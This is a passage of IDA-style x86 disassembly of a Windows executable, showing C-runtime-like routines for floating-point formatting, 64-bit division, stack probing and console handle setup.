		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_41AAC4
		add	esp, 18h

loc_41B325:				; CODE XREF: sub_41B23C+4Ej
					; sub_41B23C+8Fj ...
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_41B23C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B334	proc near		; CODE XREF: sub_41B3BA+17p
					; DATA XREF: sub_41983C+37o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		cmp	eax, 65h
		jz	short loc_41B39E
		cmp	eax, 45h
		jz	short loc_41B39E
		cmp	eax, 66h
		jnz	short loc_41B362
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41B183
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41B362:				; CODE XREF: sub_41B334+13j
		cmp	eax, 61h
		jz	short loc_41B385
		cmp	eax, 41h
		jz	short loc_41B385
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41B23C
		jmp	short loc_41B3B5
; ---------------------------------------------------------------------------

loc_41B385:				; CODE XREF: sub_41B334+31j
					; sub_41B334+36j
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41AD1D
		jmp	short loc_41B3B5
; ---------------------------------------------------------------------------

loc_41B39E:				; CODE XREF: sub_41B334+9j
					; sub_41B334+Ej
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41AC31

loc_41B3B5:				; CODE XREF: sub_41B334+4Fj
					; sub_41B334+68j
		add	esp, 18h
		pop	ebp
		retn
sub_41B334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B3BA	proc near		; DATA XREF: sub_41983Co
					; .data:off_423F60o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41B334
		add	esp, 1Ch
		pop	ebp
		retn
sub_41B3BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3DB	proc near		; CODE XREF: sub_41989C+16p
		push	esi
		push	30000h
		push	10000h
		xor	esi, esi
		push	esi
		call	sub_41B96F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B402
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40D222
		add	esp, 14h

loc_41B402:				; CODE XREF: sub_41B3DB+18j
		pop	esi
		retn
sub_41B3DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B404	proc near		; CODE XREF: sub_41B440:loc_41B464j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_41FE40
		fstp	[ebp+var_10]
		fld	ds:dbl_41FE38
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fdiv	[ebp+var_10]
		fmul	[ebp+var_10]
		fsubr	[ebp+var_18]
		fstp	[ebp+var_8]
		fld1
		fcomp	[ebp+var_8]
		fnstsw	ax
		test	ah, 5
		jp	short loc_41B43C
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B43C:				; CODE XREF: sub_41B404+31j
		xor	eax, eax
		leave
		retn
sub_41B404	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B440	proc near		; CODE XREF: sub_41989C+5p
		push	offset aKernel32 ; "KERNEL32"
		call	ds:dword_41E0E8	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41B464
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:off_41E0F0
		test	eax, eax
		jz	short loc_41B464
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------

loc_41B464:				; CODE XREF: sub_41B440+Dj
					; sub_41B440+1Dj
		jmp	sub_41B404
sub_41B440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B470	proc near		; CODE XREF: sub_403BD5+8p
					; sub_403EAD+8p ...
		push	ecx
		lea	ecx, [esp+4]
		sub	ecx, eax
		sbb	eax, eax
		not	eax
		and	ecx, eax
		mov	eax, esp
		and	eax, 0FFFFF000h

loc_41B484:				; CODE XREF: sub_41B470+29j
		cmp	ecx, eax
		jb	short loc_41B492
		mov	eax, ecx
		pop	ecx
		xchg	eax, esp
		mov	eax, [eax]
		mov	[esp+0], eax
		retn
; ---------------------------------------------------------------------------

loc_41B492:				; CODE XREF: sub_41B470+16j
		sub	eax, 1000h
		test	[eax], eax
		jmp	short loc_41B484
sub_41B470	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B49B	proc near		; CODE XREF: sub_41A54C+24p
		xor	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	3
		push	40000000h
		push	offset aConout	; "CONOUT$"
		call	ds:dword_41E06C	; CreateFileA
		mov	dword_424204, eax
		retn
sub_41B49B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4BA	proc near		; DATA XREF: ev73vtp2:0041E2E8o
		mov	eax, dword_424204
		cmp	eax, 0FFFFFFFFh
		push	esi
		mov	esi, ds:dword_41E0E0
		jz	short loc_41B4D3
		cmp	eax, 0FFFFFFFEh
		jz	short loc_41B4D3
		push	eax
		call	esi	; CloseHandle

loc_41B4D3:				; CODE XREF: sub_41B4BA+Fj
					; sub_41B4BA+14j
		mov	eax, dword_424200
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B4E5
		cmp	eax, 0FFFFFFFEh
		jz	short loc_41B4E5
		push	eax
		call	esi	; CloseHandle

loc_41B4E5:				; CODE XREF: sub_41B4BA+21j
					; sub_41B4BA+26j
		pop	esi
		retn
sub_41B4BA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B4F0	proc near		; CODE XREF: sub_41AD1D+102p

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		add	ecx, 1
		neg	ecx
		sub	edi, 1
		mov	al, [ebp+arg_4]
		std
		repne scasb
		add	edi, 1
		cmp	[edi], al
		jz	short loc_41B517
		xor	eax, eax
		jmp	short loc_41B519
; ---------------------------------------------------------------------------

loc_41B517:				; CODE XREF: sub_41B4F0+21j
		mov	eax, edi

loc_41B519:				; CODE XREF: sub_41B4F0+25j
		cld
		pop	edi
		leave
		retn
sub_41B4F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B51D	proc near		; CODE XREF: sub_41AA34+15p

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_8]
		mov	edi, [ebp+arg_4]
		lea	ecx, [ebp+var_24]
		call	sub_40AFFD
		lea	eax, [ebp+var_24]
		push	eax
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	edi
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41C45D
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B9D9
		add	esp, 28h
		test	byte ptr [ebp+var_14], 3
		jnz	short loc_41B59A
		cmp	eax, 1
		jnz	short loc_41B585

loc_41B574:				; CODE XREF: sub_41B51D+87j
		cmp	[ebp+var_18], bl
		jz	short loc_41B580
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B580:				; CODE XREF: sub_41B51D+5Aj
		push	3

loc_41B582:				; CODE XREF: sub_41B51D+7Bj
		pop	eax
		jmp	short loc_41B5B4
; ---------------------------------------------------------------------------

loc_41B585:				; CODE XREF: sub_41B51D+55j
		cmp	eax, 2
		jnz	short loc_41B5A6

loc_41B58A:				; CODE XREF: sub_41B51D+81j
		cmp	[ebp+var_18], bl
		jz	short loc_41B596
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B596:				; CODE XREF: sub_41B51D+70j
		push	4
		jmp	short loc_41B582
; ---------------------------------------------------------------------------

loc_41B59A:				; CODE XREF: sub_41B51D+50j
		test	byte ptr [ebp+var_14], 1
		jnz	short loc_41B58A
		test	byte ptr [ebp+var_14], 2
		jnz	short loc_41B574

loc_41B5A6:				; CODE XREF: sub_41B51D+6Bj
		cmp	[ebp+var_18], bl
		jz	short loc_41B5B2
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B5B2:				; CODE XREF: sub_41B51D+8Cj
		xor	eax, eax

loc_41B5B4:				; CODE XREF: sub_41B51D+66j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_41B51D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B5C3	proc near		; CODE XREF: sub_41AA34+2Ep

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_8]
		mov	edi, [ebp+arg_4]
		lea	ecx, [ebp+var_24]
		call	sub_40AFFD
		lea	eax, [ebp+var_24]
		push	eax
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	edi
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41C45D
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF1B
		add	esp, 28h
		test	byte ptr [ebp+var_14], 3
		jnz	short loc_41B640
		cmp	eax, 1
		jnz	short loc_41B62B

loc_41B61A:				; CODE XREF: sub_41B5C3+87j
		cmp	[ebp+var_18], bl
		jz	short loc_41B626
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B626:				; CODE XREF: sub_41B5C3+5Aj
		push	3

loc_41B628:				; CODE XREF: sub_41B5C3+7Bj
		pop	eax
		jmp	short loc_41B65A
; ---------------------------------------------------------------------------

loc_41B62B:				; CODE XREF: sub_41B5C3+55j
		cmp	eax, 2
		jnz	short loc_41B64C

loc_41B630:				; CODE XREF: sub_41B5C3+81j
		cmp	[ebp+var_18], bl
		jz	short loc_41B63C
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B63C:				; CODE XREF: sub_41B5C3+70j
		push	4
		jmp	short loc_41B628
; ---------------------------------------------------------------------------

loc_41B640:				; CODE XREF: sub_41B5C3+50j
		test	byte ptr [ebp+var_14], 1
		jnz	short loc_41B630
		test	byte ptr [ebp+var_14], 2
		jnz	short loc_41B61A

loc_41B64C:				; CODE XREF: sub_41B5C3+6Bj
		cmp	[ebp+var_18], bl
		jz	short loc_41B658
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B658:				; CODE XREF: sub_41B5C3+8Cj
		xor	eax, eax

loc_41B65A:				; CODE XREF: sub_41B5C3+66j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_41B5C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B669	proc near		; CODE XREF: sub_41AC31+96p
					; sub_41B183+85p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_C]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		mov	edi, [ecx+0Ch]
		jnz	short loc_41B69C

loc_41B67E:				; CODE XREF: sub_41B669+36j
		call	sub_40FCB4
		push	16h
		pop	esi
		mov	[eax], esi

loc_41B688:				; CODE XREF: sub_41B669+59j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D31E
		add	esp, 14h
		mov	eax, esi
		jmp	loc_41B721
; ---------------------------------------------------------------------------

loc_41B69C:				; CODE XREF: sub_41B669+13j
		cmp	[ebp+arg_4], ebx
		jbe	short loc_41B67E
		mov	edx, [ebp+arg_8]
		cmp	edx, ebx
		mov	[esi], bl
		jle	short loc_41B6AE
		mov	eax, edx
		jmp	short loc_41B6B0
; ---------------------------------------------------------------------------

loc_41B6AE:				; CODE XREF: sub_41B669+3Fj
		xor	eax, eax

loc_41B6B0:				; CODE XREF: sub_41B669+43j
		inc	eax
		cmp	[ebp+arg_4], eax
		ja	short loc_41B6C4
		call	sub_40FCB4
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_41B688
; ---------------------------------------------------------------------------

loc_41B6C4:				; CODE XREF: sub_41B669+4Bj
		cmp	edx, ebx
		mov	byte ptr [esi],	30h
		lea	eax, [esi+1]
		jle	short loc_41B6E8

loc_41B6CE:				; CODE XREF: sub_41B669+7Aj
		mov	cl, [edi]
		cmp	cl, bl
		jz	short loc_41B6DA
		movsx	ecx, cl
		inc	edi
		jmp	short loc_41B6DD
; ---------------------------------------------------------------------------

loc_41B6DA:				; CODE XREF: sub_41B669+69j
		push	30h
		pop	ecx

loc_41B6DD:				; CODE XREF: sub_41B669+6Fj
		mov	[eax], cl
		inc	eax
		dec	edx
		cmp	edx, ebx
		jg	short loc_41B6CE
		mov	ecx, [ebp+arg_C]

loc_41B6E8:				; CODE XREF: sub_41B669+63j
		cmp	edx, ebx
		mov	[eax], bl
		jl	short loc_41B700
		cmp	byte ptr [edi],	35h
		jl	short loc_41B700
		jmp	short loc_41B6F8
; ---------------------------------------------------------------------------

loc_41B6F5:				; CODE XREF: sub_41B669+93j
		mov	byte ptr [eax],	30h

loc_41B6F8:				; CODE XREF: sub_41B669+8Aj
		dec	eax
		cmp	byte ptr [eax],	39h
		jz	short loc_41B6F5
		inc	byte ptr [eax]

loc_41B700:				; CODE XREF: sub_41B669+83j
					; sub_41B669+88j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41B70A
		inc	dword ptr [ecx+4]
		jmp	short loc_41B71F
; ---------------------------------------------------------------------------

loc_41B70A:				; CODE XREF: sub_41B669+9Aj
		lea	edi, [esi+1]
		push	edi
		call	sub_40C9B0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_411AC0
		add	esp, 10h

loc_41B71F:				; CODE XREF: sub_41B669+9Fj
		xor	eax, eax

loc_41B721:				; CODE XREF: sub_41B669+2Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41B669	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B726	proc near		; CODE XREF: sub_41B7E1+24p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		movzx	eax, word ptr [edx+6]
		push	ebx
		mov	ecx, eax
		push	esi
		push	edi
		shr	ecx, 4
		and	eax, 8000h
		mov	edi, 7FFh
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41B774
		cmp	ebx, edi
		jz	short loc_41B76D
		add	ecx, 3C00h
		jmp	short loc_41B795
; ---------------------------------------------------------------------------

loc_41B76D:				; CODE XREF: sub_41B726+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41B798
; ---------------------------------------------------------------------------

loc_41B774:				; CODE XREF: sub_41B726+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41B78C
		cmp	edx, ebx
		jnz	short loc_41B78C
		mov	eax, [ebp+arg_0]
		mov	cx, word ptr [ebp+arg_4]
		mov	[eax+4], ebx
		mov	[eax], ebx
		jmp	short loc_41B7D8
; ---------------------------------------------------------------------------

loc_41B78C:				; CODE XREF: sub_41B726+52j
					; sub_41B726+56j
		add	ecx, 3C01h
		mov	[ebp+var_4], ebx

loc_41B795:				; CODE XREF: sub_41B726+45j
		movzx	edi, cx

loc_41B798:				; CODE XREF: sub_41B726+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		or	ecx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		shl	edx, 0Bh
		test	ecx, esi
		mov	[eax+4], ecx
		mov	[eax], edx
		jnz	short loc_41B7D3

loc_41B7B4:				; CODE XREF: sub_41B726+ABj
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	ebx, ecx
		add	edx, edx
		shr	ebx, 1Fh
		or	edx, ebx
		add	ecx, ecx
		add	edi, 0FFFFh
		test	edx, esi
		mov	[eax+4], edx
		mov	[eax], ecx
		jz	short loc_41B7B4

loc_41B7D3:				; CODE XREF: sub_41B726+8Cj
		mov	ecx, [ebp+arg_4]
		or	ecx, edi

loc_41B7D8:				; CODE XREF: sub_41B726+64j
		pop	edi
		pop	esi
		mov	[eax+8], cx
		pop	ebx
		leave
		retn
sub_41B726	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B7E1	proc near		; CODE XREF: sub_41AC31+2Ap
					; sub_41B183+2Ap ...

var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_2A		= byte ptr -2Ah
var_28		= byte ptr -28h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		mov	[ebp+var_30], eax
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B726
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		push	11h
		sub	esp, 0Ch
		lea	esi, [ebp+var_10]
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41CB21
		mov	esi, [ebp+var_30]
		mov	[ebx+8], eax
		movsx	eax, [ebp+var_2A]
		mov	[ebx], eax
		movsx	eax, [ebp+var_2C]
		mov	[ebx+4], eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_10]
		push	esi
		call	sub_411E25
		add	esp, 24h
		test	eax, eax
		jz	short loc_41B85B
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40D222
		add	esp, 14h

loc_41B85B:				; CODE XREF: sub_41B7E1+69j
		mov	ecx, [ebp+var_4]
		pop	edi
		mov	[ebx+0Ch], esi
		pop	esi
		mov	eax, ebx
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_41B7E1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B870	proc near		; CODE XREF: sub_402AF2+3Dp
					; sub_402AF2+56p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebp
		xor	edi, edi
		xor	ebp, ebp
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41B894
		inc	edi
		inc	ebp
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41B894:				; CODE XREF: sub_41B870+Dj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41B8B0
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41B8B0:				; CODE XREF: sub_41B870+2Aj
		or	eax, eax
		jnz	short loc_41B8DC
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+0Ch+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+0Ch+arg_8]
		add	edx, ecx
		jmp	short loc_41B923
; ---------------------------------------------------------------------------

loc_41B8DC:				; CODE XREF: sub_41B870+42j
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41B8EA:				; CODE XREF: sub_41B870+84j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41B8EA
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41B918
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41B918
		jb	short loc_41B921
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41B921

loc_41B918:				; CODE XREF: sub_41B870+98j
					; sub_41B870+9Ej
		dec	esi
		sub	eax, [esp+0Ch+arg_8]
		sbb	edx, [esp+0Ch+arg_C]

loc_41B921:				; CODE XREF: sub_41B870+A0j
					; sub_41B870+A6j
		xor	ebx, ebx

loc_41B923:				; CODE XREF: sub_41B870+6Aj
		sub	eax, [esp+0Ch+arg_0]
		sbb	edx, [esp+0Ch+arg_4]
		dec	ebp
		jns	short loc_41B935
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41B935:				; CODE XREF: sub_41B870+BCj
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		dec	edi
		jnz	short loc_41B949
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41B949:				; CODE XREF: sub_41B870+D0j
		pop	ebp
		pop	esi
		pop	edi
		retn	10h
sub_41B870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B950	proc near		; CODE XREF: sub_407B60+15Fp
					; sub_41AD1D+1EAp ...
		cmp	cl, 40h
		jnb	short loc_41B96A
		cmp	cl, 20h
		jnb	short loc_41B960
		shrd	eax, edx, cl
		shr	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_41B960:				; CODE XREF: sub_41B950+8j
		mov	eax, edx
		xor	edx, edx
		and	cl, 1Fh
		shr	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_41B96A:				; CODE XREF: sub_41B950+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41B950	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B96F	proc near		; CODE XREF: sub_41B3DB+Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		and	eax, 0FFF7FFFFh
		and	ecx, eax
		test	ecx, 0FCF0FCE0h
		push	esi
		jz	short loc_41B9B9
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_41B99D
		push	esi
		push	esi
		call	sub_41D517
		pop	ecx
		pop	ecx
		mov	[edi], eax

loc_41B99D:				; CODE XREF: sub_41B96F+21j
		call	sub_40FCB4
		push	16h
		pop	edi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	[eax], edi
		call	sub_40D31E
		add	esp, 14h
		mov	eax, edi
		pop	edi
		jmp	short loc_41B9D6
; ---------------------------------------------------------------------------

loc_41B9B9:				; CODE XREF: sub_41B96F+17j
		mov	esi, [ebp+arg_0]
		test	esi, esi
		push	eax
		push	[ebp+arg_4]
		jz	short loc_41B9CD
		call	sub_41D517
		mov	[esi], eax
		jmp	short loc_41B9D2
; ---------------------------------------------------------------------------

loc_41B9CD:				; CODE XREF: sub_41B96F+53j
		call	sub_41D517

loc_41B9D2:				; CODE XREF: sub_41B96F+5Cj
		pop	ecx
		pop	ecx
		xor	eax, eax

loc_41B9D6:				; CODE XREF: sub_41B96F+48j
		pop	esi
		pop	ebp
		retn
sub_41B96F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D9	proc near		; CODE XREF: sub_41B51D+44p

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
		push	ebx
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+var_14], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_20], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		push	edi
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_18], eax
		jnz	short loc_41BA43
		xor	ebx, ebx
		xor	eax, eax

loc_41BA20:				; CODE XREF: sub_41B9D9+51j
		cmp	[ebp+eax*4+var_20], ebx
		jnz	short loc_41BA33
		inc	eax
		cmp	eax, 3
		jl	short loc_41BA20
		xor	eax, eax
		jmp	loc_41BED8
; ---------------------------------------------------------------------------

loc_41BA33:				; CODE XREF: sub_41B9D9+4Bj
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		push	2
		stosd
		pop	eax
		jmp	loc_41BED8
; ---------------------------------------------------------------------------

loc_41BA43:				; CODE XREF: sub_41B9D9+41j
		and	[ebp+arg_0], 0
		push	esi
		lea	esi, [ebp+var_20]
		lea	edi, [ebp+var_2C]
		movsd
		movsd
		movsd
		mov	esi, dword_424218
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], eax
		jns	short loc_41BA7B
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41BA7B:				; CODE XREF: sub_41B9D9+9Bj
		lea	edi, [ebp+eax*4+var_20]
		push	1Fh
		xor	eax, eax
		pop	ecx
		sub	ecx, edx
		inc	eax
		shl	eax, cl
		mov	[ebp+var_8], ecx
		test	[edi], eax
		jz	loc_41BB21
		mov	eax, [ebp+var_C]
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_41BAA9
; ---------------------------------------------------------------------------

loc_41BAA4:				; CODE XREF: sub_41B9D9+D6j
		cmp	[ebp+eax*4+var_20], 0

loc_41BAA9:				; CODE XREF: sub_41B9D9+C9j
		jnz	short loc_41BAB3
		inc	eax
		cmp	eax, 3
		jl	short loc_41BAA4
		jmp	short loc_41BB21
; ---------------------------------------------------------------------------

loc_41BAB3:				; CODE XREF: sub_41B9D9:loc_41BAA9j
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_41BACD
		dec	esi
